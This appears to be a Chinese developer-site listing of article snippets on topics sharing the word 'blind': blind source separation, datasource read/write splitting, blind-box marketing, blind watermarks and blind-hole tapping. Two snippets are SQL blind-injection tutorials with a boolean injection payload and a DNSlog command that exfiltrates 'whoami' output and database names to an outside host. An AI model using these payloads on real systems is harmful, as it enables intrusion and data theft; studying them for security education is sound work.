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MATLAB实现复数信号的盲源分离
MATLAB实现复数信号的盲源分离（Blind Source Separation, BSS）1. 复数盲源分离基础复数盲源分离的基本模型可以表示为：X = A × S + N其中：X 是观测到的混合信号矩阵（m × T，m为传感器数量）A 是未知的混合矩阵（m × n，n为源信号数量） S 是源信号矩阵 完整示例：复数信号分离演示% 复数盲源分离完整示例clear; close all; clc;%% 1. 使用JADE算法进行盲源分离[A_jade, S_jade] = jade_complex(X, 3);%% 4. 使用FastICA算法进行盲源分离[W_fastica, S_fastica] = fastica_complex(X, 3);%% 5.
25110编辑于 2025-10-22- 来自专栏联远智维
盲信号分离
背景介绍 ICA（Independent Component Analysis，独立分量分析）是一种非常重要的信号处理技术，它的主要思想是将多个混合的信号分离成独立的信号源，广泛应用于信号处理 、语音分离以及图像处理等领域。 ；在脑电信号处理中，我们能够通过ICA技术分离EOG、ECG以及EMG噪声信号。 本文章对盲信号分离技术的原理进行归纳汇总，具体如下图所示：图片数学原理 本部分对ICA算法的数学原理进行介绍，该算法通过一个线性变换将混合信号转换成相互独立的未知信号源。 依据前人的研究成果，解混合矩阵W需要使得分离后的信号源s尽可能保证相互独立，转化为数学表达式为使得最优化目标函数J(W)最小：J(W) = - \left| W \right| + E[g(f(Wx)
99912编辑于 2023-04-23 基于盲源分离与贝叶斯非局部均值的图像降噪算法
单尺度Retinex (SSR)核心公式：L(x,y)其中 通过高斯滤波估计光照分量处理流程：对数变换分离光照与反射分量高斯滤波估计光照分量对数域减法分离反射分量指数变换恢复图像2. blurred = cv2.GaussianBlur(img, (0,0), sigma) log_blur = np.log1p(blurred.astype(np.float32)) # 分离反射分量 色彩恢复（MSRCR）def color_restoration(img, alpha=125, beta=46): # 分离通道 channels = cv2.split(img)
26210编辑于 2025-07-16- 来自专栏JAVA葵花宝典
Spring Boot MyBatis 动态数据源切换、多数据源，读写分离
API 接口，使用 Druid 实现了 DAO 层数据源动态切换和只读数据源负载均衡 dev: 最简单的切面和注解方式实现的动态数据源切换 druid: 通过切面和注解方式实现的使用 Druid 连接池的动态数据源切换 aspect_dao: 通过切面实现的 DAO 层的动态数据源切换 roundrobin: 通过切面使用轮询方式实现的只读数据源负载均衡 hikari: 升级到SpringBoot 2.0, 数据源使用 Hikari 以上分支都是基于 dev 分支修改或扩充而来，基本涵盖了常用的多数据源动态切换的方式，基本的原理都一样，都是通过切面根据不同的条件在执行数据库操作前切换数据源 在使用的过程中基本踩遍了所有动态数据源切换的坑 ，将常见的一些坑和解决方法写在了 Issues 里面 该项目使用了一个可写数据源和多个只读数据源，为了减少数据库压力，使用轮循的方式选择只读数据源；考虑到在一个 Service 中同时会有读和写的操作， log，说明动态切换数据源是有效的 注意 在该应用中因为使用了 DAO 层的切面切换数据源，所以 @Transactional 注解不能加在类上，只能用于方法；有 @Trasactional注解的方法无法切换数据源
2.4K50发布于 2019-06-11 - 来自专栏刘旷专栏
盲盒经济不能盲
在这种互相助力的情况下，盲盒市场中也催生出了许多新的“产品”，目前市场上最常见和最受欢迎的盲盒产品大概有四种。 其一，促进盲盒经济发展的潮玩盲盒。 其三，贴合消费日常的生鲜盲盒。面对这场“盲盒热”，不少生鲜商家也抓住了这个商机，纷纷推出“生鲜盲盒”，有的是在盲盒订单中随机抽出生鲜商品作为奖品；有的则是随机抽取蔬果米肉。 仍未见顶的盲盒经济 由此可见，在盲盒不再仅限于“收集”之后，盲盒经济的边界正在不断无规则扩张，消费市场上随处可见盲盒的身影，未来也将延伸至更多领域。 有调查显示，2019年国内盲盒行业市场规模为74亿元，预计2021年将突破百亿，盲盒经济不但没有见顶，反而愈发火热。 而在盲盒+各领域的跨界营销过程中，盲盒又在其中扮演了什么角色？ 而在监管的同时，商家和消费者都应当擦亮眼睛，因为盲盒经济绝对不能“盲”。 首先，商家销售不能“盲”。
50430发布于 2021-02-01 - 来自专栏代码人生
Spring多数据源配置系列（三）——读写分离
本文链接：https://blog.csdn.net/luo4105/article/details/77773027 资源 AbstractRoutingDataSource亦可用来做读写分离。 读写分离实际上也算多数据源，有读数据源、写数据源，通过一定规则使写用写数据源，读用读数据源。 读写分离介绍 读写分离常用的策略有两种，一种是使用MySql中间件，如mysql-proxy之类。 这种对代码没有侵入、没有影响，运维就能完成、维护；第二种是在应用层解决，这里介绍的就是应用层使用spring的AbstractRoutingDataSource来完成项目的读写分离。 配置读写数据源 2. 实现AbstractRoutingDataSource类 3. 注册实现类 4. 编写AOP 配置数据源 <bean id="readDataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource
61820发布于 2019-10-30 - 来自专栏alexqdjay
基于AOP动态切换数据源实现读写分离
功能背景介绍 介绍完技术背景，来说下功能背景，数据库读写分离是目前比较常用的一种应对高并发的处理方式，简单好用。 为了达到读写分离，首先要做的是将原有一个的数据源（DataSource），拆分成两个，一个用来读，一个用来写。 但是如何让普通开发人员无感呢，就是说还是像原来一个数据源时那样写代码，而不是加一大堆跟业务逻辑没关系的功能性代码。 本文要讲的就是如何采用上面介绍的技术AOP来实现这个功能。 实现 1. 切面定义 首先既然是AOP那么你先得定于出你需要关心的目标，如什么要的类方法你需要特殊照顾，碰到它你就要将数据源切换到写或者切换到读。 新的数据源类 创建一个新的数据源类，保存一个切换标记，下次调用时根据标记来返回读或者写真实的数据源的连接。 3.
67040发布于 2018-05-11 - 来自专栏算法之名
ShardingSphere多数据源，读写分离等的实现
有关分表的实现可以参考Springboot2使用shardingsphere分表攻略
2.3K20发布于 2020-04-24 - 来自专栏芋道源码1024
芋道 Spring Boot 多数据源（读写分离）入门
概述 在项目中，我们可能会碰到需要多数据源的场景。例如说： 读写分离：数据库主节点压力比较大，需要增加从节点提供读操作，以减少压力。 多数据源：一个复杂的单体项目，因为没有拆分成不同的服务，需要连接多个业务的数据源。 本质上，读写分离，仅仅是多数据源的一个场景，从节点是只提供读操作的数据源。 所以只要实现了多数据源的功能，也就能够提供读写分离。 2. 实现方式 目前，实现多数据源有三种方案。我们逐个小节来看。 对于分库分表的中间件，会解析我们编写的 SQL ，路由操作到对应的数据源。那么，它们天然就支持多数据源。如此，我们仅需配置好每个表对应的数据源，中间件就可以透明的实现多数据源或者读写分离。 5.10 读写分离 按照这个思路，如果想要实现 MyBatis 读写分离。还是类似的思路。只是将从库作为一个“特殊”的数据源，需要做的是： 应用配置文件增加从库的数据源。
4.9K31发布于 2020-04-15 - 来自专栏Java架构师进阶
Spring Boot 集成Mybatis实现主从（多数据源）分离方案
参考资料：https://store.docker.com/images/mysql
85750发布于 2018-12-19 - 来自专栏Mr_du
添加盲水印
.B0.B4.E5.8D.B0 一、举例添加盲水印： 注意下几点： 开启盲水印： image.png 1、put的域名格式为pic.ap-beijing格式 2、put的地址url后图片名字为cos上不存在的图片名 <text> watermark/3/ 添加盲水印 watermark/4/ 提取盲水印 <type> 盲水印类型，有效值：1 半盲；2 全盲；3 文字 <imageUrl> 盲水印图片地址 盲水印图片与原图片必须位于同一个对象存储桶下； 2. URL 需使用数据万象源站域名（不能使用 CDN 加速、COS 源站域名），如：examplebucket- 1250000000.image.myqcloud.com 属于 CDN 加速域名，不能在水印 <text> 盲水印文字，需要经过 URL 安全的 Base64 编码。当 type 为3时必填，type 为1或2时无效。
6K80发布于 2019-04-23 - 来自专栏知了一笑
数据源管理 | 主从库动态路由，AOP模式读写分离
一、多数据源应用 1、基础描述 在相对复杂的应用服务中，配置多个数据源是常见现象，例如常见的：配置主从数据库用来写数据，再配置一个从库读数据，这种读写分离模式可以缓解数据库压力，提高系统的并发能力和稳定性 核心API：AbstractRoutingDataSource 底层维护Map容器，用来保存数据源集合，提供一个抽象方法，实现自定义的路由策略。 二、数据源路由 1、数据源管理 配置两个数据源 spring: datasource: type: com.alibaba.druid.pool.DruidDataSource driverClassName key，适配相关联的数据源。 protected Object determineCurrentLookupKey() { return RouteContext.getRouteKey(); } } 三、读写分离
58410发布于 2020-04-08 - 来自专栏tea9的博客
1.3.1-SQL注入-SQL盲注-布尔盲注
SQL盲注-布尔盲注 01布尔盲注原理 $id=$_GET['id']; $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1 "; $result=mysql_query 然而页面即不会回显数据，也不会回显错误信息 只返回 “Right” 与 “Wrong” 这里我们可以通过构造语句，来判断数据库信息的正确性，再通过页面的“真”和“假”来识别我们的判断是否正确，这既是布尔盲注 与正确页面不同的页面 1.如果页面返回“假”，说明系统执行的SQL语句为“假”如：id=1 and left((select version()),1)=5–+ 2.想办法构造语句，判断数据库中内容的值 02布尔盲注方法
95240编辑于 2022-07-16 - 来自专栏脑机接口
陈勋教授的脑电信号降噪视频与讲座总结
图2.盲源分离（Blind Source Separation, BSS）的公式表示 对于脑电信号和其中各种噪声分离的实现中使⽤盲源分离技术的思路由图3所示。 ? 图3. 盲源分离技术在脑电及噪声信号分离中的应⽤思路 之后，陈教授借由对帕⾦森病⼈的脑⽹络分析项⽬介绍，进⼀步引出了联合盲源分离（Joint Blind Source Separation, JBSS）技术[ 在这个项⽬中使⽤联合盲源分离的技术主要是为了实现对多个数据集同时进⾏盲源分离，并提取出其中具有共性的特征或模式。 同时，因为联合盲源分离考虑了“相同意义”数据组的相关性，所以对单通道的盲源分离也会因此有更⾼的准确度（即其增加了⼀个维度的信息，使得分解更为有效）。 ? 图4. 盲源分离与联合盲源分离对⽐模式图 ? 图5.联合盲源分离技术在对多通道脑电信号分解时的例⼦
1.2K20发布于 2020-06-30 - 来自专栏字节脉搏实验室
sql盲注
文章源自【字节脉搏社区】-字节脉搏实验室 作者-墨子辰 扫描下方二维码进入社区： 盲注是注入的一种，指的是在不知道数据库返回值的情况下对数据中的内容进行猜测，实施SQL注入。 盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。本次主要讲解的是基于布尔的盲注。 第二个是101 e 第三个是 99 c 第四个是117 u 第五个是114 r 第六个是105 i 第七个是116 t 第八个是121 y 可以得到数据库名字为：security 接下来头疼的爆数据表，盲注果然是很枯燥的事情
1.2K10发布于 2020-05-12 - 来自专栏Mr_du
提取盲水印
4、body为要添加盲水印的图片 ---- 话不多说，举例说明： 一、首先获取添加水印图（通过下载时添加）： http://du-1253792666.picsh.myqcloud.com/mp-test.jpg watermark/3/type/2/image/aHR0cDovL2R1LTEyNTM3OTI2NjYucGljc2gubXlxY2xvdWQuY29tL3NpbS5wbmc 盲水印对应水印图： msy -4-24.png 另存为：mp-test-msy.jpg 上传到对应存储桶，获取添加了盲水印图： http://du-1253792666.picsh.myqcloud.com/mp-test-msy.jpg 原图：24552 image.png 添加水印后的图：24629 image.png 添加成功图片变大 接下来进入正题 二、提取盲水印： image.png 注意put地址url的region部分为xml 格式，例：ap-shanghai body为待提取的打了盲水印的二进制文件 image.png
4.2K80发布于 2019-04-23 - 来自专栏tea9的博客
1.3.3-SQL注入-SQL盲注-Dnslog盲注
需要目标机器时windows系统 DnsLog盲注 DnsLog盲注原理 Dnslog平台：http://ceye.io/ http://ceye.io/profile curl mzq83x.ceye.io curl `whoami`.mzq83x.ceye.io DnsLog盲注方法 核心语法： SELECT LOAD_FILE(CONCAT('\\\\',(select database(
77940编辑于 2022-07-16 - 来自专栏溪谷
盲盒商城系统——盲盒为什么那么受欢迎？
这两年，盲盒的市场已经不是单纯的零售业，而是线上应用app、小程序的多元化，为各个大品牌和综合运营商的推广，开辟了一条新的渠道。 盲盒为何如此流行？要想了解用户对盲盒的喜爱，必须从消费者的心理入手。 1、好奇心 盲盒产品具有随机、不可预期的特性，使消费者在购物过程中获得更多的乐趣。也正是因为不确定，所以人们对自己的盲盒充满了好奇和憧憬。 就如网络上所说，人生就像是拆盲盒，谁也不知道下一秒会有什么样的惊喜被打开。买一个盲盒比买衣服、包包更容易，成本更低。 2、博弈心理 在打开盲盒之前，谁也不知道里面是不是自己想要的东西，就像是买彩票一样，在这种心理的驱使下，消费者们就会一直尝试下去。赌输了，又不甘心地打开了下一个盲盒。 一旦成功，巨大的成就感和炫耀心理，就会让玩家们不断地购买盲盒。
57740编辑于 2023-02-22 - 来自专栏数控编程社区
盲孔攻丝技巧
数控编程、车铣复合、普车加工、Mastercam、行业前沿、机械视频，生产工艺、加工中心、模具、数控等前沿资讯在这里等你哦 什么是盲孔？ 盲孔不会完全穿过材料。 这使得盲孔攻丝比通孔攻丝更难，因此，这意味着您更容易折断丝锥。本文将为您提供一些技巧，以尽量减少盲孔丝锥折断。 选择最佳钻孔尺寸 让我们从一开始就选择正确的钻孔尺寸，从而领先一步。 使用正确的丝锥 请记住，盲孔攻丝时，切屑只能向上移动。切屑无法从孔的底部掉出来。因此，您需要使用专为盲孔设计的丝锥。 常见的答案是您需要一个盲孔丝锥。对于数控加工者来说，这是一项相当简单的技术。 事实上，如果您看了下面关于盲孔最大攻丝深度的计算，您会发现选什么丝锥并不重要。丝锥永远不会到达孔底。事实是，盲孔丝锥实际上适用于手动攻丝。 盲孔攻丝时正是需要这样做。 盲孔攻丝最大深度 我从来没有认真考虑过丝锥到底能钻多深才能钻到底。我知道它必须到达孔底，但事实证明，你可以进行详细的计算来确定到底要留出多少间隙。
61510编辑于 2024-06-11 - 来自专栏田小檬博客
乐檬交友盲盒V4一元盲盒小纸条交友盲盒
乐檬盲盒系统是由乐檬云网络乐檬科技——田小檬编写，采用Layui、Aui、jquery、swiper、bootstrap框架与ThinkPHP框架、等框架并基于PHP 7.2开发的社交类应用。 前端可“抽”、“留”盲盒可自主查询订单、可查看常见问题、发现动态等（可不登录） 登录后可以进入个人中心——我的盲盒、可查看佣金明细、提现明细等、可分享赚取佣金并自主提现（链接海报都可以）、可以签到获取积分 后台自定义网站名称、自定义盲盒价格、自定积分签到范围、自定义积分兑换价格、自定义会员价格、自定义月老价格、自定义公众号二维码、上传头像默认图、可设置动态金额上下限范围、可添加常见问题、邀请海报、轮播图、
51630编辑于 2022-08-30
腾讯云开发者
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